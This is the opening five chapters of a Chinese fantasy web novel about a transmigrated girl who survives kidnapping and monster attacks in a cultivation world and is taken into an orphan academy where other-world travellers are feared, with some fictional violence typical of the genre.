《他们要我成为异世大佬》 1. 001 《他们要我成为异世大佬》全本免费阅读 江弥闭眼,心中默数三秒,再睁眼。 血腥场面没有消失。 动了动背在身后的双手,明显的束缚感紧绷到刺痛,真实到梦境也难以解释。 一切是真的。 被绑架是真的,死人也是真的, 不久前笑着关心她的少女阿玲睁眼躺在血泊里,暗淡无光的眼珠好像在看她。 鲜红的血流淌过来,一点点浸湿鞋底,些微温热。 两三步外的门口,两个青年坐在火堆旁低声交谈,说话声夹杂着偶尔爆出的火花声。 这是临时找的木屋,在山林间,只有几件烧得焦黑的炊具和简易木床,很简陋,是猎户在山中临时露宿的地方。 最重要的是,木屋没有窗户,唯一的出口被守着。 江弥一团乱麻地垂下脑袋,额抵在膝上,裤子立马沾上血迹,她将脑袋在膝盖上乱擦,粗糙布料擦得脸颊皮肉生疼,脑海浮现的却是鲜血飞溅到脸上的那幕。 穿越是两天前的事。 她醒来时躺在半山腰,脑袋像是被人凿开用棍子搅弄了一番,又痛又晕,迷迷糊糊下了山,被阿玲撞见,阿玲带她回这具身体的家。 期间她始终有种身在迷雾的感觉,说话做事只是本能在支撑,如同梦境中知道自己在说话却无法控制说话内容。 她见到原身父母,听到他们关切的言语。 善意的关心和感知的钝化剥离了她的敏锐,让她在迷迷糊糊中交代了所有。 几乎就在说完瞬间,危机感冲刷蒙昧,让她从半梦半醒的状态清醒过来。 当天晚上,她在窗沿下听到原身父母的讨论,从她被阿玲带回来就像变了个人,他们怀疑她被山上邪祟附身,明日要去镇上请大仙赶走邪祟。 江弥没有丝毫犹豫地离开了。 再次遇到阿玲。 阿玲以为她和之前一样走丢了,要将她带回家,却遇到从天而降的两名青年。 接着她们就被绑架了。 这绝对不是普通的古代世界。 古代世界的人不可能从天而降,不可能伸手就能捏出火苗,更不可能只是抬手就将人杀死。 就在刚才,阿玲挣扎得太厉害,惹得两青年中的一人不快,江弥甚至没看到对方如何动作,只感受到一片温热飞溅到脸颊,黏腻的触感让她大脑空白了一瞬。 阿玲就这样死了。 · “你什么时候能控制你的脾气?” 木屋外的火堆前,两名青年中年长的那个望向另一人,语气含怒:“你的脾气坏了多少事?要是老大知道你弄死一根苗儿,别说大混沌的差事,恐怕那些人也不会饶你!” “你不说我不说,谁知道我杀人了?”青衣男子不太在意,“他们再厉害,还能读心预知不成?” 他瞥了眼屋内蹲在血泊里不敢动的小女孩,轻笑:“再说,这不还有个小的吗?我看那丫头脾气犟得很,带回去也不会听话,小孩就不一样了,教什么信什么。” “万一她是异世者呢!”年长男子被他满不在乎的语调气到,将手中木棍扔进火堆,迸溅的火花朝着青衣男子飞去,即将落到他身上时,忽的起了阵风,如同大手将火星扫进火堆。 “哥,你就是谨慎过头了,”青衣男子两手撑在身后,懒洋洋翘着腿,“人都死了,谁能证明她是异世者?她要真是异世者,哪能这么容易被我杀死。” 年长男子仍旧眉头不展:“只带一个回去不行,最近死的人太多,需要新鲜血液,明天再去其他地方找找。” 青衣男子心不在焉应了声,心思却在别处,他环视被灰雾笼罩的四周,摩拳擦掌道:“昭昭最近是不是缺一味药,也不知道这里能不能找到。” 年长男子按着额头压制怒意,没搭理他。 两人的交谈声平静下来,只有不远处树木被夜风拂动的波涛声。 江弥从膝盖间抬首,明亮的火光在她黑瞳中闪烁。 异世者,是指穿越者? 这世界不止她一个穿越者。 她尝试从两人话语中推测出信息: 一、两人所在的组织在吸纳异世者; 二、异世者很厉害,至少不会像阿玲一样手无缚鸡之力; 三、这个组织死了很多人,需要新人加入,包括异世者和普通人; 江弥目光瞥见膝盖上的血痕,心中又加了一条,这个组织人员态度不一,鱼目混杂,视人命如草芥。 目前来看,她还算有用。 情况很糟,但应该能保住性命。 然而这个念头仅仅只持续了半刻钟。 江弥正在思索自己作为异世者,按理说也在他们说的厉害范围内,但厉害这个概念太笼统,力气大是厉害,脑袋聪明是厉害,跑得快也是厉害。 至少她在力气和跑速这两方面,完全称不上厉害。 就在这时,树林波涛声中混杂着如同野兽般的嘶吼声,在漆黑的夜里越来越近。 两人比她更早反应过来,迅速将火堆熄灭,拿出武器蓄势待发,极快隐没在黑暗中。 天空犹如一块黑布,没有半点星光,只能听到不远处不断有树木倒地,枝丫折断发出咔嚓声,连同嘶吼声急速靠近。 树枝断裂声停止时,江弥心口一滞。 无形的压迫让她全身紧绷,不自觉屏住呼吸,扑面而来的危机感令她大脑持续发出尖锐的警报声。 那是身体在直面危险的本能反应。 她试图睁大眼看清靠近的是什么,却是徒劳,只能感受呼吸不畅的凝滞感。 划破沉闷凝滞感的是出鞘的长剑。 一道清越声后,空气仿佛流动起来,紧接着便是剑刃砍在硬物上的重击声。 黑暗中激起一串火花,转瞬即逝,江弥隐约看到一只青皮怪物。 年长男子携长剑攻向怪物,他速度极快,在怪物还没反应过来时融入黑暗,下秒又从另一方向攻击。 在接连的剑光和火花中,江弥看清怪物的样子。 皮肤青灰,灰瞳,无法沟通,只会发出野兽般的嘶吼,比正常人高大,人形,却非人。 丧……丧尸? 变异的大型丧尸! 双方僵持了片刻,一直隐在黑暗中的青衣男子喊了声“哥”,得到某种信号,年长男子长剑携清光猛地击中怪物,一击之后并未隐匿,只速影后退。 怪物吼着朝他扑去,它身体坚硬,挥动的手臂犹如举起的狼锤呼呼作响,砸向年长男子。 就在这时,暗中的青衣男子瞄准时机,刀刃引出磅礴之力,在怪物背后重重落下,将其撕裂成两半。 怪物倒地后,年长男子收剑入鞘,捏出火光观察正在消失的怪物,语气不太妙:“有点麻烦。” 青衣男子猛喘两口,用刀半撑着身体问:“恢复能力是不是太强了点?也不知道这次的大混沌会出现什么神品。” “神品不是我们的任务,”年长男子走向木屋,抱剑倚在门框上,“接下来不能大意。” “知道了。”青衣男子说完收刀,盘腿坐在屋檐下,探头往门里望了眼,摸着下巴说,“还以为她会吓得哇哇乱叫,哭就割掉她的舌头,现在偃术是不是连舌头都可以接了?前阵子听说有人接了条腿,能跑能跳的。” 江弥:“……”< 2. 002 《他们要我成为异世大佬》全本免费阅读 快想办法!快想办法! 江弥大脑疯狂运转,试图从两人对话中寻找突破口。 他们需要新人,相较普通人,更需要异世者。 他们不知道谁是异世者,也许有办法能确定异世者身份。 他们有杀丧尸的能力,却下意识认定异世者很厉害,那么异世者的能力必定超越他们,并且这是普遍现象。 什么情况下异世者刚穿越就能普遍超越这个世界的人? 穿越自带的天赋。 灵魂更强大?自带特殊能力?还是另有金手指? 刀在地上拖出沉闷声响,还有靠近时木板踩出的咯吱声,这些听在江弥耳里,比利刃直接刺入皮肉还要折磨人。 黑暗里银色流光一闪,刀面划出破空声。 心脏急速跳动,震得她胸口痛。 江弥头皮发麻,猛地大喊:“我就是异世者!” 青年男子举起的刀停在半空中。 江弥仰头望向男子,光线晦暗中她看不清他神情,只能努力说服对方:“我真的是异世者,我能帮你们一起对付那些怪物。” 刀尖落回地面。 江弥暗自呼出口气。 “我就说你怎么不哭呢,原来是异世者啊。”青年男子语气带笑,拄着刀半弯腰去看小孩。 这么近的距离,江弥隐约看见他嘴角上扬。不是高兴的那种笑脸,而是饶有兴致、撩猫逗狗的那种笑。 蹲在被滚水淹没的蚂蚁窝旁看细小蚂蚁垂死挣扎的小孩就是这样。 她是不是异世者,他不在乎。 江弥心瞬间沉下去。 “继续啊,你要怎么证明你是异世者,异世者是能干嘛来着?”青年男子侧目思考两秒,“变出灵丹妙药,还是改变人记忆?有起死回生吗?” 似乎想到一个好主意,他笑道:“要不试试你能否将自己复活?” 江弥:“我不会起死回生。” 青衣男子:“哦?那你会什么?” 江弥:“我会……” 她说话声音很小,青衣男子低头:“会什么?” 毫无抵抗地被杀,还是挣扎一番被杀,从青衣男子踏入时江弥就在思考。 在直面生死的这刻,她果然还是无法坐以待毙。 男子靠近的一瞬,一直握在手里、被汗水沾湿的砍柴刀猛地扔了出去,甩出去的胳膊带着严重的脱力感。 多余动作过多,速度太慢,蓄力时呼吸和心跳也暴露了意图,破绽太多了。 也到此为止了。 青衣男子欣赏完弱小动物爆发的最后挣扎,歪头就要闪躲,忽然间黑暗笼罩。屋外火堆映照进来的微弱火光消失,与此同时,响起他哥的喝声—— “谁!” 有人来了? 但他没有感知到第四个人。 这么一个恍惚,砍柴刀直接砸到他脸上,痛楚袭来,他晃了两秒才意识到,自己被一个小孩打中了! 心中愤怒上涌,他正要教训小孩,这时屋外传来打斗声,以及他哥失声惊喊中夹杂的恐惧。 “死神!你是死神!” 死神?悬赏榜排名第十的死神! 青衣男子再也顾不了江弥,提刀速影冲出木屋。 屋外两人正打得难舍难分,只一眼他就看出,他哥的所有招式都被对方压着打,死神压根没有出全力。 他想也不想,刀刃卷起狂浪砍了上去,草叶树枝化作龙卷风劈开难舍难分的两人,铺天盖地的枝叶乱飞,不等这招平息,又是两招连发的攻势。 因他的加入,一边倒的局势缓解两分。 躲过一劫的江弥趴在门边听外面动静,打斗的余波冲击中,她几乎站不住脚。 但她死死扣着门框望向打斗中心,脑海里满是问号。 她做不到夜间视物,按理说顶多也只能在剑光火花中看个大概,可现在却能看清楚缠斗成一团的身影。 一团绿光在夜里格外明亮显眼。 绿光随着三人缠斗而移动,等他们各自分开时,江弥也看清了令青衣男子闻之色变的死神。 那是个和他名字一样的人。 宽大的黑斗篷随风飒飒作响,面容和身形被遮得严严实实,一柄黑骨镰刀在身侧凌空,沾染的血液让镰刀图纹在夜里发出猩红的光。 而那团绿光悬浮在他头顶,绿色数字正在+10+15地上涨,江弥甚至能脑补出砸金币的声音。 诡异莫名的画风冲淡了剑拔弩张的气氛。 当然,这只是江弥个人感受。 因为她发现,除了她,另外两人看不到绿光。 游戏刷怪?马里奥闯关?还是说……这就是异世者的特殊能力? 江弥下意识仰头望向自己头顶,乌黑一片。 刀剑撞击声正在远离木屋,他们造成的动静太大,江弥好半晌才反应过来,那两人打不过准备跑! 她心跳忽然变快,这是她的机会。 江弥手指扣进门框,现在她有两个选择: 一、留在原地等死神回来。 如果她运气好,死神真的是异世者,她说出自己异世者身份,大概率会获救,离开这什么大混沌。可如果她运气不好,死神不会回来,或者回来了,但对方并非善男信女,她的处境就和前一刻钟没有区别。 二、离开这里,跑出去。 外面还有多少丧尸,它们是从哪里来,怎样才算离开大混沌,这些她半点不知,一旦遇上丧尸,压根没有反抗之力。可万一,她因此激活属于异世者的金手指,生存几率提高数倍,至少不再是任人宰割的状态。 该怎么选? 对这个世界的一无所知让她即便处境变好了,也还是在做“毫无抵抗地被杀,还是挣扎一番被杀”的选择。 摆在她面前的两条路被浓雾掩盖。 暗藏生机还是只有死路? 江弥转身回去,在血迹里摸出砍柴刀。 · “等等!” “我知道的一切都告诉你,不要杀我!” 青衣男子没法去看不远处躺在地上的男人是死是活,也无法顾及被剜出的血洞,只伸手按住胸口止血。 “神品不在这里,守望军派了两支小队进来,我们只是其中一支小队,负责寻找异世者和修炼苗子,如您所见,我们只找到个小孩,还不怎么听话。” 生怕对方一个不爽将他砍了,他语速极快,将自己知道的所有交代个彻底,只为求一线生机。 “另一支小队负责抢夺神品,他们往东的方向去了,具体信息我可以帮你打听,守望军内部并不团结,就是要我将神品抢过来也没问题。” 死神神色遮掩在黑色斗篷下,没有任何反应。 青衣男子面色惨白, 3. 003 《他们要我成为异世大佬》全本免费阅读 看到老旧的木质房梁时江弥凝滞许久。 闭上眼睛,默数三秒,再睁眼,仍旧是房梁,布满灰尘的木头上还有只蜘蛛在结网。 耳边有压低的交谈声。 明亮的光线和并不嘈杂的人声添了几分安全感。 但说实话,捡回一条命并没有让她开心多少。 虽然死了大概率回不去,但这危机重重的地方,只给人死和快死两个选项,怎么都算不上愉快吧。 一想到这样的噩梦经历还要继续,江弥情绪有些低迷。 旁边闭目养神的女子睁眼,察觉小孩醒了,过来检查她的身体,伸出的手还未触碰就被猛地躲过,紧着就见小孩疼得泪花直冒。 “没事了,是我们救的你。” 女子一手按住她肩膀不让她乱动,另只手微抬,接着发生神奇的一幕。 就见停留在发髻上的蝴蝶展翅而下,落在她指腹,女子手指移至江弥脖颈上空,蝴蝶轻盈的翅膀缓缓扇动,麟粉如光点精准落在青肿皮肤上。 很快,疼痛难忍的脖颈缓解了几分。 江弥看着这梦幻场景,目光转向女子,这才发觉对方发饰衣裙上都是蝴蝶装饰,不由好奇眨眼。 这些该不会都能飞吧? 女子不知江弥心中所想,语气平静道:“你的喉骨几乎骨折,好在治疗及时,多修养一段时间就能恢复。” 她是巫修,接手过不少患者,没有因患者年龄小就认为她不懂略过病情,反而将她当做成人叮嘱。 “你这段时间没法说话,饮食也要注意,吞咽会有痛楚,只能吃流食。手臂也有骨折,你还小,骨头生长快,长好前不要拆板,也不要乱动。脚底的伤口……” 江弥就在这样细致平静的声音中收拾好情绪。 不管怎么说,活着就是胜利。 叮嘱完女子就被人叫走,这只蝴蝶留下来陪着江弥。 女子看上去是这伙人的领头,其他人也同她一起离开,应该是去处理突发情况。 蝴蝶停在她鼻尖,有点痒。 江弥垂眸观察,翅膀是半透明,扇动时会有淡淡荧光随着翅膀花纹流动,很漂亮。 能治病的蝴蝶……他们也不是普通人。 穿越后,她多次因对世界了解不足陷入巨大危机,认知不足的焦虑促使她主动收集看到听到的一切。 江弥躺在床上,闭眼在脑海里整理情报—— 目前为止,她遇到的人有三个立场:未知组织,死神,蝴蝶女子。 绑架她和阿玲的两人来自某个组织,纪律并不严明,至少在组织和性命中他们会选择性命,忠诚度不高。 组织存在异世者,从两人语气推测,异世者在组织的地位可能不错。 接着是死神,背景不明,疑似异世者,疑似拥有游戏面板,实力很强。 他的出现和离开像一场海啸,留下满地狼藉。 江弥就是狼藉中的一员。 但让人不明的是,对死神而言,杀她是轻而易举的事,可她活下来了,而且他最后说的话让她有些在意。 江弥回想失去意识前的场景。 那时她因窒息大脑眩晕,眼前一阵黑一阵白,沉闷的说话声鼓动耳膜,好像……带着点变声期特有的嘶哑。 他说:“说错话就会死。” 那时她以为这是杀她的理由,但现在看来,貌似不是? 江弥只说了一句“我和你一样,也是异……”。 没说完就被掐脖子。 说错话是指,不能说出异世者身份,还是不能说他是异世者? 但这样分析下来,江弥已经基本确认死神是异世者。 这么说来,异世者拥有不同阵营,未知组织和死神。 若异世者身份如死神提醒的那样不可言说,那未知组织绝对不是明面上的势力。死神藏头露尾,也很可疑,大概率也是暗中势力。 第三个就是帮她治疗的蝴蝶女子。 蝴蝶女子身边跟着十多个年轻的男孩女孩,他们以她为首,喊她学姐,言语多有尊敬,不像是很熟悉的关系,倒有点像上下属。 以及提到小术院。 沈学姐,小术院……学校?门派? 这群人看上去最像光明正大的势力。 在这群人手里,性命这关貌似问题不大了,但江弥清楚,接下来的才是硬仗。 思绪被忽然腾飞的蝴蝶打断,江弥听到杂乱脚步声由远及近,她转动眼珠,视野尽头瞥见一片混乱。 疾步而入的数人很是狼狈,大部分脸上带着未尽的惊恐,骚乱中夹杂痛吟。 有人受伤了,不止一人。 “受伤严重的放在这里,力竭的打坐尽快恢复,大混沌的历练还没结束,每个人保持警惕。” 沈白玟的语气平静有力,随着她话落,慌乱的脚步声逐渐有序起来。 沈白玟问:“谁修医术或者辅修医术?” 一个正在帮人按伤口的女孩举手:“沈学姐,我辅修医术。” 沈白玟记得她:“程萼,修为几阶?伤势如何?” “五阶。”程萼拿袖子擦脸上的血:“沈学姐,我没受伤,这是别人的。” “你负责查看其他学员的身体情况,这些是常用药,不用省。”沈白玟从随身令牌中取出十多支玉瓶,叮叮当当摆满桌子,她扫视一圈,又道:“再检查每个人的清祟香囊,有问题的及时补换。” 程萼点头,让伤员自己按住伤口。 她没急着完成沈白玟的交代,而是召集没受伤的学员,将任务分出去,分头查看学员和检查香囊。 前来偷袭的怪物有四只,超出了学员们的能力。 沈白玟并不会帮他们驱逐怪物,只在学员们无力应对时才会出手,即便如此,还是有六人重伤,若不是用回春术吊住生机,只怕早有死者诞生。 沈白玟从容不迫地朝最近伤员走去,半弯腰蹲下,左手虚空一抓,一根淡绿色丝线浮现,末端连接伤员胸口。 重伤者的生机是风中飘摇的虚弱火苗,而回春术就是那减缓火苗熄灭趋势的灯罩,也被调侃为吊命术。 沈白玟一心二用,左手通过回春丝实时观察他生机,右手两指成剑诀点在他额心,指尖清光没入皮下,一缕分成数缕,向全身各处游走,最终汇聚在伤口附近。 探针术,医术中的中级术法,将体内的气外放并凝聚成针,还要做到不伤患者分毫,不仅要求对气的掌握精准,还要有足够强大的神识来控制。 旁边痛苦虚弱的重伤伤员见她能同时控制数根气针,直面怪物的惊慌和对死亡的恐惧顿时减弱,情绪稳定下来。 有沈学姐在,他们肯定能活着离开大混沌。 探查完伤员情况,沈白玟面色平静地收回气针,右手两指点在自己左肩,忽的往后一拉,那纹在衣料上的白翅蝴蝶便活过来般从左肩飞出,随着手指的方向停在伤员身上。 白色麟粉落在伤员乌黑胸口,发出令人头皮发麻的滋滋声。 接着是左手衣袖的紫纹蝴蝶跃出,先前治疗江弥的蝴蝶也停留在她指尖候命。 ……处理包扎完伤口,沈白玟走向下个伤员。 她淡定沉着的态度犹如定海神针,安抚着躁动的心,每个人有条不紊地做着自己的事。 这就是医术吗? 江弥内心忽然涌出强烈的渴望。 这就是强大的力量啊。 不管是落到未知组织手里,还是被死神警告,都是因为她不够强大。 只有强者才能在这里生存下去。 修整一番后,队伍的气氛恢复不少,都是些少年少女,本就性子活泼,加之虽然受伤的人不少,但并没有死亡人数。 有三五成群说话,也有人闭目养神。 几名少女聚在一起低声交谈不久前的经历,一边共享信息一边分析。 江弥就在她们不远处养伤,于是熟练地收集起情报来。 听完她们的讨论,一直笼罩在江弥眼前的迷雾被拨开,让她初次窥见这方世界真面目的一角。 沈学姐是大术院的学生,接了任务带小术院学员来大混沌历练,所以才有了现在的场景。 历练任务后,双方都能从中得到好处,小术院学员们能见识大混沌,并为以后参加大术院考核积攒经验。 江弥的理解,应该是类似高考前的模拟考,更贴切点的说法,考驾照时科二科三前的看考场。 至于沈学姐能从历练中得到什么好处她们没提。 女孩们交谈时很多基本的常识一带而过,所以江弥只能用自己的方式连蒙带猜,理解了个大概。 大混沌如何诞生不明,可以将其想象成一个被扭曲的能量场,会将里面的生物异化扭曲,算是某种特殊的 4. 004 《他们要我成为异世大佬》全本免费阅读 即便在众多目光注视下,少年步伐仍旧不疾不徐,走到混沌出口时,人群中自觉分出一条路让行。 不明所以的人心中感叹,这谁,好大的来头。 可扭头看到其他人神色,又安分地闭口。 江弥看着少年背影,忍不住多看两秒。 她还从未见过哪个男子有这样长的头发,如一汪黑色流水,一直倾斜到脚踝。 少年的到来让热闹如集市的人群安静如鸡,而他本人丝毫不觉,站在真空圈中等大混沌打开。 打破沉默的是一道张扬的哈哈大笑。 出声的少年踏风而来,几个呼吸便落在人前,他面容俊丽,锦衣华服,如同一道热烈的风景。 若说面具少年是夜色清月,这少年便是艳阳天里满树盛放的凤凰花。 他半点不在意旁人,三两步走到面具少年前笑问:“君慕之,怎的你也在?” 君慕之朝他颔首,简洁道:“来取物。” 少年闻言笑道:“我就说神品还能被谁取走。” 这话一出,被少年吸引的各种目光移到君慕之身上。 君慕之未应,也未言。 少年丝毫不觉冷场,还要再搭话,忽闻几声“少主少主”的叫喊声,神情变得不悦。 他急急忙忙问:“下次混沌你在吗?我爹说我贪尘怠惰,要我向你学习,下次混沌我们看谁先拿走神品杀死妖魔啊!” “少主!” “少主你等等我们啊!” 几名中年修士从远处疾驰来,少年不等君慕之回答,丢下一句“下次混沌见”。 他找上守住出口的紫衣修士,不知说了什么,不过片刻,混沌大门被打开。 少年回头朝追赶之人挑衅大笑,转身冲了出去。 追赶的几名中年修士气急又无奈,也跟着离开大混沌。 君慕之也离开。 修士陆陆续续往外走时,沈白玟将江弥交给看守出口的紫衣修士,说清遇到江弥时的情况后,带着小术院学员离开。 关于身份审查,江弥心知并非没有回转余地。 倘若真有如X光射线那种、一照就能分出谁是异世者的东西,也就不会有那么多异世者逃脱,乃至形成不同组织和阵营。 只要够谨慎,还是有办法瞒过去。 所有人离开大混沌后,紫衣修士也带着她出去。 大混沌外并非人去楼空的萧条之景,反而站着不少人。 按服色看,大致分两类,一类是同江弥身边修士这般穿紫衣,三公紫,古代的官服色,约莫二十来人;另一类穿黑衣制服,衣襟上绣有日月同辉的徽纹,只有十人,但气势非三公紫修士能比。 直面两支军队的江弥:“……”有点慌。 “还站着做什么,”一位中年男子迫不及待开口,“快快快,让我看看大混沌有什么好东西!” 他穿着工作围裙,两条赤膊肌肉虬结,像刚打完铁跑过来的,和纪律严谨的黑衣制服格格不入。 “老洪,老洪你给我站住!” 黑衣制服队长朝他低吼两声,但中年男人满脸垂涎,如同见到金山的饿龙,也不管旁人如何,快步往大混沌入口去,嘴里自言自语。 “听说这次的魊骨头特别坚硬,不知道能不能炼化出盾,磨成箭也行。不不不,不能高兴太早,还是得看属性。上次魊异化出尖刺看着好用,但一碰到水就钝化,土属性太强,不管攻还是防,弱点太明显了。” “老洪!”队长见他充耳不闻直接进入大混沌,无奈憋口气,重新露出属于队长的威严,朝带江弥过来的紫衣道:“玄甲六队队长萧经年,带队前来清理大混沌。” 他还是解释了句:“那是我们尚署的老洪。” “理解理解,修机关偃术的对新材料都很狂热,”紫衣修士很好说话,然后指着江弥道:“她是这次大混沌的幸存者。” 萧经年皱眉:“就她一个?” “被救出来的只有她。”紫衣修士交代江弥的事,主要是复述沈白玟的话,又将这次大混沌的情报一同交接。 萧经年点头:“我了解情况了,接下来交给我们。” 不过转身功夫,他已经根据大混沌情况分析出执行方案,将九名队员分成三组,分别负责清理魊、寻找活口和收集情报。 九名黑衣玄甲队员得令,如离弦之箭冲进大混沌,不过眨眼就消失在入口处。 江弥再次被转手了。 在得知要做身份审查时,她提起的心终于落地,类似“刀终于落下来了”这种心态,一路上都在揣测审查内容,尽量为审查可能的问题做准备。 可纵使她神经再紧绷,在这一次次转手中,也心累得带着点破罐子破摔的态度了。 以至于她现在还有心思欣赏周围风景。 从外面看大混沌,是另一番景色。 仿佛一颗正在吸收日光的明珠,金色流光在外壳上闪烁跳跃,只会让人想到美好的事物。 明珠上方的天空明澈干净,像一块铺满视野的巨大蓝色宝石,染着金辉的薄云飘散了,不多时又聚成另一朵。 不远处有一汪浅浅的池塘,池水清绿,岸旁野草葳蕤,细看还能发现低矮的黄色野花和爬上石头的新鲜青苔。 空气弥漫着淡淡的草木香,清香,美好。 连洒落在皮肤上的光芒也泛着暖意。 令她灼热。 江弥心中惊觉,原来她是这样害怕着,害怕生命再次不由己,害怕她就这样弱小地、不明所有地死去。 害怕到……体温不曾回暖。 她压制没用的情绪,用力思考怎么活下去。 可遇到的每个人都能左右她的命运,轻而易举地决定着她生还是死,抛弃还是被救。 她能做什么? 她什么都做不了。 这次她要面对的又是什么? 江弥察觉右手抖得厉害,立马用左手抓住,可腿也在抖,她就只能蹲下来,脸颊一片湿润,她哭了,江弥抬手按住眼睛,眼泪从指缝溢出,最终,她只能抱着膝盖将自己缩成一团,可即便这样,她也还是在抖。 她知道这种时候该保持理智,认真思索即将迎接她的是什么考验,拷问?谎话鉴定?还是搜查记忆? 可理智控制不了害怕。 她控制不了发抖。 萧经年有些头疼,刚才还安静乖巧的女孩就在他腿边哭成一团。 这种场景他见过不少,通常伴随着此起彼伏的哭浪。 从大混沌中幸存下来的孩子就没有不哭的,惊惧到极致不会有泪,得知自己安全后反而会嚎啕大哭,大人尚且如此,又如何要求小孩安静地接受这场命运噩耗? 但这不归他们管,安抚小孩是启蒙院的事。 可等启蒙院将人接走,恐怕这孩子得哭晕过去。 “你叫什么?” “……” “大混沌没什么,以后你多进几次就知道了。” “……” 将下属往死里折腾萧经年在行,但哄小孩他确实不会,他回忆启蒙院那群人做法,将自己带入其中,忽然抖了下胳膊。 做不到,不可能做到。 就在萧经年打算还是让启蒙院安抚时,江弥从膝盖里抬首,挂满眼泪的脸颊粘着轻软的卷毛。 小孩睁着用泪水洗净的黑瞳看他,很是惹人怜爱。 萧经年思考两秒,尝试抬手靠近,见她生出没抵抗情绪,将手放在她柔软的脑袋上按了按:“今后你将踏上修行的道路,修炼非易事,你会遇到很多这种情况,要习惯。” 江弥看着他眨了下眼。< 5. 005 《他们要我成为异世大佬》全本免费阅读 蔡平秋问这个问题是有原因的。 心一院曾收养过一个孩子,很优秀,天赋高,人也聪明,待人有礼,是个很讨喜的孩子,他参加小术院考核的那届,是心一院唯一通过的孩子。 每年从启蒙院升入小术院的孩子只占很小一部分,从小术院进入大术院更是艰难,天赋悟性勤奋缺一不可。 那孩子就进了大术院。 后来他在大术院内杀了人,裁决死刑。 他杀的是当初将他从大混沌中救出来的学生。 审问的人问他为什么。他说那人杀了我父母,我就是为了复仇才修炼的。审问的人又说那是魊,不是你父母。他说变成魊,他们也是我父母。 这件事情后,所有启蒙院才重新审视这些经历过噩梦的孩子,也开始关注他们的心理问题,甚至会对经历大混沌的孩子进行心理干预。 蔡平秋见江弥这样说,自然会特别注意。 江弥垂眼,思索要怎么回答才符合十一岁小孩说出的话。 事实上她并不知道原身父母下场如何,大概不是异化成怪物被修士杀死,就是没被异化却碰到怪物被杀死。 沉默半晌,江弥摇头。 蔡平秋问:“你不打算报仇了?” 江弥再次摇头。 蔡平秋抬手摸她脑袋,掌心触碰到的发丝细软:“你不知道该向谁报仇吗?” 江弥没点头也没摇头。 蔡平秋说:“虽然很难过,但你爹娘确实不在了。” 她今年也才二十来岁,知道自己资质进入大术院无望,于是早早离开小术院来启蒙院当教习,自己也还年轻,乐观得很,很快恢复朝气。 “好好修炼,迟早有一天我们会将混沌赶走的。”她笑着问:“你叫什么名字啊?” 江弥手指在空中随便划拉两下,然后摇头。 蔡平秋说:“看来得先从识字开始学啊。” 她有意将江弥从低迷情绪中拉出来,于是细细碎碎说了很多,从一院教什么内容,哪个教习讲课最有趣,食堂饭菜什么好吃,到做心理干预的教习有多帅等等,江弥遇到感兴趣的就拉她袖子,蔡平秋讲得细致些。 几个时辰下来,江弥还在拉她袖子,蔡平秋忍不住给自己又倒了杯茶水灌下去。 “你拿我当说书先生呢!”蔡平秋捏她脸蛋,可看到她垂眼的可怜样,又立马松手给她揉脸,“明天,明天再给你讲,再讲下去,明天哑巴对着哑巴,一个赛一个不吭声。” 江弥想想这个场景,被逗笑了。 蔡平秋见她情绪平静,叮嘱几句离开了。 第二天有修医的教习给看她脖子上的伤,因为处理得当,后面几天只用内外配合用药就好。 接下来几天,蔡平秋都会带煎好的药来,看她喝完后帮她涂外敷的药膏,然后陪她说话。 但江弥好奇心太强了,什么都要她讲,讲完还要问,明明不会说话,但比划几下,她竟然还真能看懂什么意思。 一时不知道该感慨是江弥聪明,还是自己脑袋灵光。 第四天,蔡平秋终于想出能让江弥少问问题的办法——带她出去熟悉环境。 看环境就没法问问题,问问题就没法看环境。 将心一院的主要几个地方介绍完,蔡平秋被其他教习叫走了,江弥就坐在草坪上观察来往孩童和教习。 原本她还想,要是表现得不像十一岁孩子会不会引起旁人注意,从而怀疑她是异世者。 随即她发现这个担心是多余的。 这里的大部分孩子见过世界残酷的一面,经历过绝望和痛苦,没有了父母的庇佑爱护,他们被迫快速长大,谨慎早熟勤奋并不少见,还保持单纯天真的也有。 江弥在其中并不显眼。 这世界不但有大混沌,还有小混沌。 从大混沌中活下来的人,拥有修炼资质,或者应该说,正是因为拥有修炼资质,才不会被异化成怪物。 所以未知组织才会在大混沌寻找新鲜血液。 可即便这些人因资质没变成怪物,没有修炼的普通凡人大都被魊杀了,能撑到被人救走的只有少数。 所以,为了不让整片大陆的道途走向末路,便创建了收养大混沌和小混沌幸存孩童的启蒙院。 启蒙院会教他们修行中用到的基础知识,并引导他们走上修行之路,类似修真界的小学和初中结合部,也有人将其称作育种院。 江弥曲起膝盖,双手搭在上面,阳光照得她半眯着眼,脖子忽然一阵瘙痒,她伸手拨开罪魁祸首,几乎是要叹气出声了。 谁能想到,忽然变成小孩的烦恼不是手短脚短,也不是脖子受伤不能说话,而是—— 她的头发实在是太不听话了!! 她现在的头发带着卷,是小孩特有的细和软,风一吹乱飞,不管是用发带扎起来,还是编成密实的辫子,都会翘起七·八九十缕,走快几步挠脖子,风一吹粘得满脸都是。 要不剃了吧。 远方的争执声打断江弥不知道第几次升起的念头。 是两个十四岁左右的孩子,随着他们走近,江弥才听清他们在争执什么。 高马尾女孩气势汹汹,一副气坏了的样子,叉着腰扬声怒问:“……你敢不敢和其他人也这么说?我没想到你是这样想的,你竟然……竟然认为他们不该死!” 相较她的盛怒,男孩显然底气不足,想要让她消气又手足无措,不知道怎么做,只得说:“我没有否认你的想法,只是觉得……” “觉得什么?你觉得异世者不该死吗?”高马尾女孩握起的拳头一下又一下砸在他胸膛,力道不大,却很沉,她红着眼几乎要哭出来,咬牙质问他:“你知道我经历过什么,我告诉过你,陆怀你知道的,你仍旧不觉得异世者该死吗?” 男孩被她锤得一步步后退,半点不敢回手。 女孩说:“你是从小混沌出来的,没见过那些怪物,没关系,我们去问其他人。” 她一眼看到不远处的江弥,将男孩拽到江弥跟前,憋着哭意问江弥:“你说,异世者该不该死?” 江弥没想到只是晒晒太阳都能卷入争执中,她仰头看女孩,又扭头看尴尬摸脖子的男孩。 女孩恨恨说:“我经历的大混沌,死了五百九十七人,寒鹃经历的大混沌,七百,谭鑫,三百,只是心宿一院,就有多少人经历过大混沌?一场大混沌又要死多少人?这些都是异世者做的!现在你告诉我!异世者该不该死?” 她面对江弥,话却是对着男孩说的。 男孩神情暗沉,没有说话。 气氛变得压抑沉默起来。 江弥站起来拍拍身上草屑,伸手按住乱飞的头发,这番动作引得两人看来,江弥才指着自己的嗓子,做了个张口的动作,然后摇头。 “啊,你是哑巴。”气怒交加的女孩突然哑火,红着眼望向江弥,又不知道说什么,还是男孩主动道:“对不起,我们吵架把你卷进来。邢歌,我们走吧。” 女孩对他还是有气,甩手大步离开。 